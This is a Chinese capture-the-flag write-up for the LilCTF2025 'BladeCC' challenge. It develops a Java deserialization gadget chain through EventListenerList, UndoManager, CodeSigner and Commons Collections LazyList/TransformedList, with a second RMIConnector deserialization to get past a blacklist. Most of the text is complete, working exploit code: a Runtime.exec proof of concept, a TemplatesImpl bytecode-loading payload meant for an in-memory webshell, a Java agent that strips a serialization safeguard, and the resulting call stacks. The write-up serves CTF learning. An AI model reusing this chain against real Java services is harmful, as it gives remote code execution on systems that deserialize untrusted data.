LILCTF2025 BladeCC

前言

首先放出题目仓库,有仓库的比赛向来是好比赛😏

https://github.com/Lil-House/LilCTF-2025/tree/main/challenges/web-blade-cc/build

blade_cc

出题:N1ght

难度:困难

题目描述:

万恶的n1ght,留出了一个反序列化入口,但是他做了黑名单和不出网,你能想办法完成这个挑战吗?

题目

分析

一看黑名单,CC依赖,可利用 RMIConnector 二次反序列化绕过,开始利用链分析

EventListenerList#readObject中有一个 add 方法,会动态加载并监听类

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
    private void readObject(ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        listenerList = NULL_ARRAY;
        s.defaultReadObject();
        Object listenerTypeOrNull;

        while (null != (listenerTypeOrNull = s.readObject())) {
            ClassLoader cl = Thread.currentThread().getContextClassLoader();
            EventListener l = (EventListener)s.readObject();
            String name = (String) listenerTypeOrNull;
            ReflectUtil.checkPackageAccess(name);
            add((Class<EventListener>)Class.forName(name, true, cl), l);
        }
    }

跟进

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public synchronized <T extends EventListener> void add(Class<T> t, T l) {
        if (l==null) {
            // In an ideal world, we would do an assertion here
            // to help developers know they are probably doing
            // something wrong
            return;
        }
        if (!t.isInstance(l)) {
            throw new IllegalArgumentException("Listener " + l +
                                         " is not of type " + t);
        }
        if (listenerList == NULL_ARRAY) {
            // if this is the first listener added,
            // initialize the lists
            listenerList = new Object[] { t, l };
        } else {
            // Otherwise copy the array and add the new listener
            int i = listenerList.length;
            Object[] tmp = new Object[i+2];
            System.arraycopy(listenerList, 0, tmp, 0, i);

            tmp[i] = t;
            tmp[i+1] = l;

            listenerList = tmp;
        }
    }

关键在于这里

img

1
2
3
4
5
6
7
8
"Listener " + l` 会隐式调用 `l.toString()
// 等效于:
new StringBuilder()
    .append("Listener ")
    .append(l)
    .append(" is not of type ")
    .append(t)
    .toString();

所以就到了StringBuilder#append,一直跟进到CompoundEdit#toString

1
2
3
4
5
6
    public String toString()
    {
        return super.toString()
            + " inProgress: " + inProgress
            + " edits: " + edits;
    }

当编译器遇到字符串拼接 (+) 时,会自动转换为 StringBuilder 操作,继续到AbstractCollection#toString

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public String toString() {
        Iterator<E> it = iterator();
        if (! it.hasNext())
            return "[]";

        StringBuilder sb = new StringBuilder();
        sb.append('[');
        for (;;) {
            E e = it.next();
            sb.append(e == this ? "(this Collection)" : e);
            if (! it.hasNext())
                return sb.append(']').toString();
            sb.append(',').append(' ');
        }
    }
sb.append(e == this ? "(this Collection)" : e);`如果传入的是 List 就可以成功触发`StringBuilder`,接着到`CodeSigner#toString
public String toString() {
    StringBuffer sb = new StringBuffer();
    sb.append("(");
    sb.append("Signer: " + signerCertPath.getCertificates().get(0));
    if (timestamp != null) {
        sb.append("timestamp: " + timestamp);
    }
    sb.append(")");
    return sb.toString();
}

需要触发 get 方法,然后就可以到LazyMap\LazyList,由于上一步到 AbstractCollection 的时候,我们必须是个 List,所以接着看LazyList#get

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
public Object get(int index) {
        int size = this.getList().size();
        if (index < size) {
            Object object = this.getList().get(index);
            if (object == null) {
                object = this.factory.create();
                this.getList().set(index, object);
                return object;
            } else {
                return object;
            }
        } else {
            for(int i = size; i < index; ++i) {
                this.getList().add((Object)null);
            }

            Object object = this.factory.create();
            this.getList().add(object);
            return object;
        }
    }

接着到TransformedList#set

1
2
3
4
    public Object set(int index, Object object) {
        object = this.transform(object);
        return this.getList().set(index, object);
    }

获取 Unsafe 实例,方便等会篡改对象内存布局,便于构造 CodeSigner 对象,

1
2
3
4
5
X509CertPath certPath = (X509CertPath) unsafe.allocateInstance(X509CertPath.class);
unsafe.putObject(certPath, unsafe.objectFieldOffset(X509CertPath.class.getDeclaredField("certs")), decorate);

Object codeSigner = unsafe.allocateInstance(CodeSigner.class);
unsafe.putObject(codeSigner, unsafe.objectFieldOffset(CodeSigner.class.getDeclaredField("signerCertPath")), certPath);

再加上 EventListenerList为触发入口,

1
2
3
4
5
6
EventListenerList listenerList = new EventListenerList();
UndoManager undoManager = new UndoManager();
Vector edits = (Vector) getFieldValue(undoManager, "edits");
edits.add(codeSigner);
unsafe.putObject(listenerList, unsafe.objectFieldOffset(listenerList.getClass().getDeclaredField("listenerList")),
        new Object[]{InternalError.class, undoManager});

agent

img

由于 CertPath 重写了 writeReplace 导致序列化异常,用Java agent 进行 hook

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package org.example;

import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;

public class RemoveReplaceTransformer implements ClassFileTransformer {

    public static void premain(String agentArgs, Instrumentation inst) {
        inst.addTransformer(new RemoveReplaceTransformer());
    }

    @Override
    public byte[] transform(ClassLoader loader, String className,
                            Class<?> classBeingRedefined,
                            ProtectionDomain protectionDomain,
                            byte[] classfileBuffer) {
        if ("java/security/cert/CertPath".equals(className)) {
            try {
                System.out.println("[Agent] Patching CertPath...");
                ClassPool pool = ClassPool.getDefault();
                CtClass ctClass = pool.get("java.security.cert.CertPath");

                CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
                ctClass.removeMethod(writeReplace);

                byte[] modifiedClass = ctClass.toBytecode();
                ctClass.detach();

                System.out.println("[Agent] Successfully removed writeReplace method");
                return modifiedClass;
            } catch (Exception e) {
                System.err.println("[Agent] Failed to modify CertPath:");
                e.printStackTrace();
            }
        }
        return null;
    }
}

img

用 Ali 的仓库,避免打包失败

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>agent</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <javassist.version>3.28.0-GA</javassist.version>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <repositories>
        <repository>
            <id>aliyun</id>
            <name>Aliyun Maven Repository</name>
            <url>https://maven.aliyun.com/repository/public</url>
            <releases>
                <enabled>true</enabled>
            </releases>
            <snapshots>
                <enabled>true</enabled>
            </snapshots>
        </repository>
    </repositories>

    <pluginRepositories>
        <pluginRepository>
            <id>aliyun</id>
            <name>Aliyun Plugin Repository</name>
            <url>https://maven.aliyun.com/repository/public</url>
            <releases>
                <enabled>true</enabled>
            </releases>
            <snapshots>
                <enabled>true</enabled>
            </snapshots>
        </pluginRepository>
    </pluginRepositories>

    <dependencies>
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>${javassist.version}</version>
        </dependency>
    </dependencies>

    <build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-jar-plugin</artifactId>
                <version>3.2.2</version>
                <configuration>
                    <archive>
                        <manifestEntries>
                            <Premain-Class>org.example.RemoveReplaceTransformer</Premain-Class>
                            <Can-Redefine-Classes>true</Can-Redefine-Classes>
                            <Can-Retransform-Classes>true</Can-Retransform-Classes>
                        </manifestEntries>
                    </archive>
                </configuration>
            </plugin>
        </plugins>
    </build>
</project>

mvn clean package打包成 jar 包,然后点击 IDEA 顶部菜单栏的 RunEdit Configurations...,在VM options输入框中添加

1
-javaagent:"/Users/admin/Downloads/Jaba/agent/target/agent-1.0-SNAPSHOT.jar"

img

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
package org.example.Exp;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.list.LazyList;
import org.apache.commons.collections.list.TransformedList;
import org.apache.commons.collections.map.ListOrderedMap;
import sun.misc.Unsafe;
import sun.security.provider.certpath.X509CertPath;

import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.io.*;
import java.lang.reflect.Field;
import java.security.CodeSigner;
import java.util.*;

public class BladeCCPoc {
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformers = new Transformer[] {
                new ConstantTransformer(1)
        };
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[] { String.class, Class[].class },
                        new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke",
                        new Class[] { Object.class, Object[].class },
                        new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String[].class },
                        new Object[]{new String[]{"open", "-a", "Calculator"}}),
                new ConstantTransformer(1)
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
        ArrayList<Object> list = new ArrayList<>();
        list.add(null);

        List decorate1 = TransformedList.decorate(list, chainedTransformer);
        List decorate = LazyList.decorate(decorate1, new ConstantFactory(chainedTransformer));

        Field field = Unsafe.class.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        Unsafe unsafe = (Unsafe) field.get(null);

        X509CertPath certPath = (X509CertPath) unsafe.allocateInstance(X509CertPath.class);
        unsafe.putObject(certPath,
                unsafe.objectFieldOffset(X509CertPath.class.getDeclaredField("certs")),
                decorate);

        Object codeSigner = unsafe.allocateInstance(CodeSigner.class);
        unsafe.putObject(codeSigner,
                unsafe.objectFieldOffset(CodeSigner.class.getDeclaredField("signerCertPath")),
                certPath);

        EventListenerList listenerList = new EventListenerList();
        UndoManager undoManager = new UndoManager();
        Vector edits = (Vector) getFieldValue(undoManager, "edits");
        edits.add(codeSigner);

        unsafe.putObject(listenerList,
                unsafe.objectFieldOffset(listenerList.getClass().getDeclaredField("listenerList")),
                new Object[]{InternalError.class, undoManager});


        setFieldValue(chainedTransformer,"iTransformers",transformers);

        byte[] payload = serialize(listenerList);
        unserialize(payload);
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static byte[] serialize(Object obj) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(obj);
        oos.close();
        return baos.toByteArray();
    }

    public static Object unserialize(byte[] bytes) throws IOException, ClassNotFoundException {
        ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        Object obj = ois.readObject();
        ois.close();
        return obj;
    }

    public static Object getFieldValue(Object obj, String fieldName) throws Exception {
        Field field = getField(obj.getClass(), fieldName);
        return field.get(obj);
    }

    public static Field getField(Class<?> clazz, String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        } catch (NoSuchFieldException var4) {
            if (clazz.getSuperclass() != null) {
                field = getField(clazz.getSuperclass(), fieldName);
            }
        }
        return field;
    }
}

调用栈

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
at org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:120)
at org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:123)
at org.apache.commons.collections.collection.TransformedCollection.transform(TransformedCollection.java:92)
at org.apache.commons.collections.list.TransformedList.set(TransformedList.java:122)
at org.apache.commons.collections.list.LazyList.get(LazyList.java:118)
at java.security.CodeSigner.toString(CodeSigner.java:159)
at java.lang.String.valueOf(String.java:2994)
at java.lang.StringBuilder.append(StringBuilder.java:131)
at java.util.AbstractCollection.toString(AbstractCollection.java:462)
at java.util.Vector.toString(Vector.java:1000)
at java.lang.String.valueOf(String.java:2994)
at java.lang.StringBuilder.append(StringBuilder.java:131)
at javax.swing.undo.CompoundEdit.toString(CompoundEdit.java:258)
at javax.swing.undo.UndoManager.toString(UndoManager.java:621)
at java.lang.String.valueOf(String.java:2994)
at java.lang.StringBuilder.append(StringBuilder.java:131)
at javax.swing.event.EventListenerList.add(EventListenerList.java:187)
at javax.swing.event.EventListenerList.readObject(EventListenerList.java:277)
at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:497)
at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058)
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1900)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:371)
at org.example.Exp.BladeCCPoc.unserialize(BladeCCPoc.java:97)
at org.example.Exp.BladeCCPoc.main(BladeCCPoc.java:77)

img

二次反序列化&&内存马

二次反序列化我们直接加上即可,为了方便加载字节码这里直接写 templates,像 CC3 一样去改即可

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
package org.example.Exp;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.list.LazyList;
import org.apache.commons.collections.list.TransformedList;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.ListOrderedMap;
import sun.misc.Unsafe;
import sun.security.provider.certpath.X509CertPath;

import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.io.*;
import java.lang.reflect.Field;
import java.security.CodeSigner;
import java.util.*;

public class BladeCCPoc {
    public static void main(String[] args) throws Exception {
        String payload = generateTemplatesPayload();
        executeWithRMIConnector(payload);
    }

    public static String generateTemplatesPayload() throws Exception {
        byte[] bytecode = ClassPool.getDefault().get(org.example.Base.Eval.class.getName()).toBytecode();
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", new byte[][]{bytecode});
        setFieldValue(templates, "_name", "Pwnr");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer", null, null)
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);

        ArrayList<Object> list = new ArrayList<>();
        List decorate1 = TransformedList.decorate(list, chainedTransformer);
        List decorate = LazyList.decorate(decorate1, new ConstantFactory(chainedTransformer));

        Field field = Unsafe.class.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        Unsafe unsafe = (Unsafe) field.get(null);
        
        X509CertPath certPath = (X509CertPath) unsafe.allocateInstance(X509CertPath.class);
        unsafe.putObject(certPath, unsafe.objectFieldOffset(X509CertPath.class.getDeclaredField("certs")), decorate);

        Object codeSigner = unsafe.allocateInstance(CodeSigner.class);
        unsafe.putObject(codeSigner, unsafe.objectFieldOffset(CodeSigner.class.getDeclaredField("signerCertPath")), certPath);

        EventListenerList listenerList = new EventListenerList();
        UndoManager undoManager = new UndoManager();
        Vector edits = (Vector) getFieldValue(undoManager, "edits");
        edits.add(codeSigner);

        unsafe.putObject(listenerList, unsafe.objectFieldOffset(listenerList.getClass().getDeclaredField("listenerList")),
                new Object[]{InternalError.class, undoManager});

        setFieldValue(chainedTransformer, "iTransformers", transformers);

        return serialize2Base64(listenerList);
    }

    public static void executeWithRMIConnector(String base64) throws Exception {
        JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
        setFieldValue(jmxServiceURL, "urlPath", "/stub/" + base64);
        RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);

        Transformer fakeConnect = new ConstantTransformer(1);
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazyMap = LazyMap.decorate(hashMap, fakeConnect);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, rmiConnector);
        HashMap<Object, Object> hashMap1 = new HashMap<>();
        hashMap1.put(tiedMapEntry, "2");
        lazyMap.remove(rmiConnector);

        setFieldValue(lazyMap, "factory", new InvokerTransformer("connect", null, null));

        byte[] serialize = serialize(hashMap1);
        unserialize(serialize);
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static String serialize2Base64(Object object) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(object);
        return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
    }

    public static byte[] serialize(Object object) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(object);
        return byteArrayOutputStream.toByteArray();
    }

    public static void unserialize(byte[] bytes) throws Exception {
        ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(bytes));
        objectInputStream.readObject();
    }

    public static Object getFieldValue(Object obj, String fieldName) throws Exception {
        Field field = getField(obj.getClass(), fieldName);
        return field.get(obj);
    }

    public static Field getField(Class<?> clazz, String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        } catch (NoSuchFieldException var4) {
            if (clazz.getSuperclass() != null) {
                field = getField(clazz.getSuperclass(), fieldName);
            }
        }
        return field;
    }
}

调用栈

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
at org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:120)
at org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:123)
at org.apache.commons.collections.collection.TransformedCollection.transform(TransformedCollection.java:92)
at org.apache.commons.collections.collection.TransformedCollection.add(TransformedCollection.java:113)
at org.apache.commons.collections.list.LazyList.get(LazyList.java:131)
at java.security.CodeSigner.toString(CodeSigner.java:159)
at java.lang.String.valueOf(String.java:2994)
at java.lang.StringBuilder.append(StringBuilder.java:131)
at java.util.AbstractCollection.toString(AbstractCollection.java:462)
at java.util.Vector.toString(Vector.java:1000)
at java.lang.String.valueOf(String.java:2994)
at java.lang.StringBuilder.append(StringBuilder.java:131)
at javax.swing.undo.CompoundEdit.toString(CompoundEdit.java:258)
at javax.swing.undo.UndoManager.toString(UndoManager.java:621)
at java.lang.String.valueOf(String.java:2994)
at java.lang.StringBuilder.append(StringBuilder.java:131)
at javax.swing.event.EventListenerList.add(EventListenerList.java:187)
at javax.swing.event.EventListenerList.readObject(EventListenerList.java:277)
at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:497)
at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058)
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1900)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:371)
at javax.management.remote.rmi.RMIConnector.findRMIServerJRMP(RMIConnector.java:2009)
at javax.management.remote.rmi.RMIConnector.findRMIServer(RMIConnector.java:1926)
at javax.management.remote.rmi.RMIConnector.connect(RMIConnector.java:287)
at javax.management.remote.rmi.RMIConnector.connect(RMIConnector.java:249)
at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:497)
at org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:126)
at org.apache.commons.collections.map.LazyMap.get(LazyMap.java:158)
at org.apache.commons.collections.keyvalue.TiedMapEntry.getValue(TiedMapEntry.java:74)
at org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode(TiedMapEntry.java:121)
at java.util.HashMap.hash(HashMap.java:338)
at java.util.HashMap.readObject(HashMap.java:1397)
at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:497)
at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058)
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1900)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:371)
at org.example.Exp.BladeCCPoc.unserialize(BladeCCPoc.java:115)
at org.example.Exp.BladeCCPoc.executeWithRMIConnector(BladeCCPoc.java:90)
at org.example.Exp.BladeCCPoc.main(BladeCCPoc.java:28)

但是这个去打远程并不能成功,应该是被 waf 了,所以二次反序列化的部分我们也必须使用 List。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
package org.example.Exp;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.list.LazyList;
import org.apache.commons.collections.list.TransformedList;
import sun.misc.Unsafe;
import sun.security.provider.certpath.X509CertPath;

import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.io.*;
import java.lang.reflect.Field;
import java.security.CodeSigner;
import java.util.*;

public class BladeCCPoc {
    public static void main(String[] args) throws Exception {
        String payload = generateTemplatesPayload();
        executeWithRMIConnector(payload);
    }

    public static String generateTemplatesPayload() throws Exception {
        byte[] bytecode = ClassPool.getDefault().get(org.example.Base.Eval.class.getName()).toBytecode();
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", new byte[][]{bytecode});
        setFieldValue(templates, "_name", "Pwnr");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer", null, null)
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);

        ArrayList<Object> list = new ArrayList<>();
        List decorate1 = TransformedList.decorate(list, chainedTransformer);
        List decorate = LazyList.decorate(decorate1, new ConstantFactory(chainedTransformer));

        Field field = Unsafe.class.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        Unsafe unsafe = (Unsafe) field.get(null);

        X509CertPath certPath = (X509CertPath) unsafe.allocateInstance(X509CertPath.class);
        unsafe.putObject(certPath, unsafe.objectFieldOffset(X509CertPath.class.getDeclaredField("certs")), decorate);

        Object codeSigner = unsafe.allocateInstance(CodeSigner.class);
        unsafe.putObject(codeSigner, unsafe.objectFieldOffset(CodeSigner.class.getDeclaredField("signerCertPath")), certPath);

        EventListenerList listenerList = new EventListenerList();
        UndoManager undoManager = new UndoManager();
        Vector edits = (Vector) getFieldValue(undoManager, "edits");
        edits.add(codeSigner);

        unsafe.putObject(listenerList, unsafe.objectFieldOffset(listenerList.getClass().getDeclaredField("listenerList")),
                new Object[]{InternalError.class, undoManager});

        setFieldValue(chainedTransformer, "iTransformers", transformers);

        return serialize2Base64(listenerList);
    }

    public static void executeWithRMIConnector(String base64) throws Exception {
        JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
        setFieldValue(jmxServiceURL, "urlPath", "/stub/" + base64);
        RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);

        InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);
        ArrayList<Object> list = new ArrayList<>();
        List decorate1 = TransformedList.decorate(list, invokerTransformer);
        List decorate = LazyList.decorate(decorate1, new ConstantFactory(rmiConnector));

        Field field = Unsafe.class.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        Unsafe unsafe = (Unsafe) field.get((Object) null);

        X509CertPath o = (X509CertPath) unsafe.allocateInstance(X509CertPath.class);
        unsafe.putObject(o, unsafe.objectFieldOffset(X509CertPath.class.getDeclaredField("certs")), decorate);

        Object o1 = unsafe.allocateInstance(CodeSigner.class);
        unsafe.putObject(o1, unsafe.objectFieldOffset(CodeSigner.class.getDeclaredField("signerCertPath")), o);

        EventListenerList list2 = new EventListenerList();
        UndoManager manager = new UndoManager();
        Vector vector = (Vector) getFieldValue(manager, "edits");
        vector.add(o1);
        unsafe.putObject(list2, unsafe.objectFieldOffset(list2.getClass().getDeclaredField("listenerList")), new Object[]{InternalError.class, manager});

        byte[] serialize = serialize(list2);
        unserialize(serialize);
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static String serialize2Base64(Object object) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(object);
        return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
    }

    public static byte[] serialize(Object object) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(object);
        return byteArrayOutputStream.toByteArray();
    }

    public static void unserialize(byte[] bytes) throws Exception {
        ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(bytes));
        objectInputStream.readObject();
    }

    public static Object getFieldValue(Object obj, String fieldName) throws Exception {
        Field field = getField(obj.getClass(), fieldName);
        return field.get(obj);
    }

    public static Field getField(Class<?> clazz, String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
